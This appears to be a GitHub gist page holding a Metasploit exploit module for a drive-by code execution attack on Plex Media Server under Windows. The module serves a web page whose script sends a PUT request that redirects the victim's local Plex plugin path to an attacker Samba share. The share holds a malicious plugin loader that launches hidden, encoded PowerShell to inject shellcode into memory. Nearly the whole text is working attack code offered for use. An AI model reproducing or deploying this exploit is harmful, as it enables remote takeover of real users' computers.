Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Forked from phikshun/plex_windows_rce.rb
Last active August 29, 2015 14:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carnal0wnage/1eca9d8f191aff117299 to your computer and use it in GitHub Desktop.
Save carnal0wnage/1eca9d8f191aff117299 to your computer and use it in GitHub Desktop.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Plex Code Execution Vulnerability',
'Description' => %q{
This exploit hosts a web page, that uses and XHR PUT request to update the preferences
of a plex server hosted at 127.0.0.1. It also creates a samba share which hosts a remote
plugin folder, with a malicious plugin loader script.
Be SURE to start an appropriate handler as a background job, since this exploit does not
launch a handler.
This exploit only works on Linux msf -- it expects Samba with a Debian/Kali file system
layout. Target must be Windows 7/8 x86/x64.
},
'Author' => [ 'Phikshun' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 14774 $',
'References' =>
[
[ 'URL', 'http://disconnected.io/2014/02/17/a-plex-drive-by/' ],
],
'DefaultOptions' =>
{
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7/8 x86/x64', { 'Arch' => ARCH_X86 } ],
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '0 day, yo'))
end
def setup
print_status('Building exploit')
FileUtils.rm_rf('/tmp/msf_plex')
FileUtils.mkdir('/tmp/msf_plex')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2')
FileUtils.mkdir('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python')
File.open('/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python/bootstrap.py', 'w') do |f|
f.write(python_exploit)
end
FileUtils.chmod_R 0777, '/tmp/msf_plex'
FileUtils.chmod 0444, '/tmp/msf_plex/Plex Media Server/Plug-ins/Framework.bundle/Contents/Resources/Versions/2/Python/bootstrap.py'
print_status('Configuring Samba')
smb_conf = File.read('/etc/samba/smb.conf')
unless smb_conf =~ /msfplex/
FileUtils.cp('/etc/samba/smb.conf', '/etc/samba/smb.conf.msfbak')
File.open('/etc/samba/smb.conf', 'a') do |f|
f.write("\n[msfplex]\n\npath = /tmp/msf_plex\nbrowseable = yes\nread only = no\nguest ok = yes\ncreate mask = 0777\ndirectory mask = 0777\n\n")
end
end
print_status("Restarting Samba: \n" + `service samba restart`)
print_status("Waiting for web request... be sure to start exploit/multi/handler")
end
def on_request_uri(cli, request)
send_response(cli, javascript_exploit, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
end
def javascript_exploit
js = <<-EOS
<html>
<head>
<title>Plex Pwn</title>
<script src='http://code.jquery.com/jquery-latest.min.js' type='text/javascript'></script>
</head>
<body>
<script>
$(document).ready(function(){
$.ajax({
type: 'PUT',
url: 'http://localhost:32400/:/prefs?LocalAppDataPath=%5C%5C' + location.host.replace(/:[0-9]+/,'') + '%5Cmsfplex',
success: function(response) {
$('#output').html("Owned");
},
error: function() {
$('#output').html("No service found on localhost:32400");
}
});
setTimeout(function() {
$.ajax({
type: 'GET',
url: 'http://localhost:32400/:/plugins/com.plexapp.system/restart',
success: function(response) { }
});
}, 2000);
});
</script>
<pre id="output">
</pre>
</body>
</html>
EOS
end
def python_exploit
# Create powershell script that will inject shell code from the selected payload
ps = "$code = @\"
[DllImport(\"kernel32.dll\")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport(\"kernel32.dll\")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport(\"msvcrt.dll\")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
\"@
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
$size = 0x1000
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
$winFunc::CreateThread(0,0,$x,0,0,0)"
# Unicode encode powershell script
ps_uni = Rex::Text.to_unicode(ps)
# Base64 encode unicode
ps_b64 = Rex::Text.encode_base64(ps_uni)
# Final arguments for powershell
args = "-w hidden -nop -ep bypass -noexit -encodedCommand #{ps_b64}"
psh64 = "c:\\\\windows\\\\syswow64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe #{args}"
psh32 = "c:\\\\windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe #{args}"
bootstrap_py = <<-EOS
import os
import subprocess
if "powershell.exe" not in subprocess.check_output('tasklist /FI "IMAGENAME eq powershell.exe"'):
if 'PROGRAMFILES(X86)' in os.environ:
subprocess.Popen("#{psh64}")
else:
subprocess.Popen("#{psh32}")
EOS
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment